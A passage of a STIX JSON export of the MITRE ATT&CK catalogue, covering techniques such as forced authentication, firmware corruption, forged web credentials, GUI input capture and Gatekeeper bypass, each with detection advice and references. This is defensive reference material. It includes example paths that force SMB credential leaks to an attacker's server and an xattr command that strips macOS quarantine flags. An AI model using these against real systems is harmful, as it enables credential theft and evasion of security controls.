                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T21:34:16.209Z",
            "created": "2020-01-31T12:35:36.479Z",
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1044",
                    "url": "https://attack.mitre.org/techniques/T1044"
                },
                {
                    "external_id": "CAPEC-17",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/17.html"
                },
                {
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "source_name": "Mozilla Firefox Installer DLL Hijack"
                },
                {
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "source_name": "Seclists Kanthak 7zip Installer"
                }
            ],
            "name": "File System Permissions Weakness",
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-19T15:11:39.627Z",
            "created": "2017-05-31T21:30:43.063Z"
        },
        {
            "created": "2020-03-15T16:16:25.763Z",
            "modified": "2020-08-21T14:41:22.911Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "name": "File Transfer Protocols",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071.002",
                    "url": "https://attack.mitre.org/techniques/T1071/002"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2017-05-31T21:31:04.710Z",
            "modified": "2020-09-16T16:02:16.770Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1083",
                    "url": "https://attack.mitre.org/techniques/T1083"
                },
                {
                    "external_id": "CAPEC-127",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/127.html"
                },
                {
                    "external_id": "CAPEC-497",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/497.html"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                }
            ],
            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",
            "name": "File and Directory Discovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_system_requirements": [
                "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"
            ]
        },
        {
            "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1222",
                    "url": "https://attack.mitre.org/techniques/T1222"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls1 June 2018"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls2 May 2018"
                },
                {
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "source_name": "EventTracker File Permissions Feb 2014"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-01T20:05:05.562Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_defense_bypassed": [
                "File system access controls"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "File: File Metadata"
            ],
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Jan Miller, CrowdStrike"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1592.003",
                    "url": "https://attack.mitre.org/techniques/T1592/003"
                },
                {
                    "source_name": "ArsTechnica Intel",
                    "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/",
                    "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Firmware",
            "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:22:46.759Z",
            "created": "2020-10-02T16:46:42.537Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89",
            "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.",
            "name": "Firmware Corruption",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "T1495",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1495"
                },
                {
                    "source_name": "Symantec Chernobyl W95.CIH",
                    "url": "https://www.symantec.com/security-center/writeup/2000-122010-2655-99",
                    "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019."
                },
                {
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "source_name": "MITRE Trustworthy Firmware Measurement"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-07-14T19:31:46.550Z",
            "created": "2019-04-12T18:28:15.451Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.",
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification"
            ]
        },
        {
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2020-06-19T17:16:41.470Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1187",
                    "url": "https://attack.mitre.org/techniques/T1187"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "source_name": "Wikipedia Server Message Block"
                },
                {
                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                    "source_name": "Didier Stevens WebDAV Traffic"
                },
                {
                    "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
                    "source_name": "Microsoft Managing WebDAV Security"
                },
                {
                    "url": "https://github.com/hob0/hashjacking",
                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                    "source_name": "GitHub Hashjacking"
                },
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf",
                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                    "source_name": "Cylance Redirect to SMB"
                },
                {
                    "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/",
                    "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
                    "source_name": "Osanda Stealing NetNTLM Hashes"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",
            "name": "Forced Authentication",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
                "Teodor Cimpoesu",
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "File: File Modification",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1606",
                    "url": "https://attack.mitre.org/techniques/T1606"
                },
                {
                    "source_name": "GitHub AWS-ADFS-Credential-Generator",
                    "url": "https://github.com/damianh/aws-adfs-credential-generator",
                    "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020."
                },
                {
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
                    "source_name": "Pass The Cookie"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Forge Web Credentials",
            "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)",
            "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T14:29:27.631Z",
            "created": "2020-12-17T02:13:46.247Z",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Web Credential: Web Credential Creation",
                "Web Credential: Web Credential Usage"
            ],
            "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "SaaS",
                "Windows",
                "macOS",
                "Linux",
                "Azure AD",
                "Office 365",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1056.002",
                    "url": "https://attack.mitre.org/techniques/T1056/002"
                },
                {
                    "external_id": "CAPEC-659",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/659.html"
                },
                {
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "source_name": "OSX Malware Exploits MacKeeper"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "GUI Input Capture",
            "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). ",
            "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-24T20:56:14.853Z",
            "created": "2020-02-11T18:58:45.908Z",
            "x_mitre_contributors": [
                "Matthew Molyett, @s1air, Cisco Talos"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
            "name": "Gatekeeper Bypass",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1144",
                    "url": "https://attack.mitre.org/techniques/T1144"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "source_name": "Clearing quarantine attribute"
                },
                {
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "source_name": "Bypassing Gatekeeper"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T16:23:01.683Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
            "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
            "name": "Gatekeeper Bypass",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.001",
                    "url": "https://attack.mitre.org/techniques/T1553/001"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
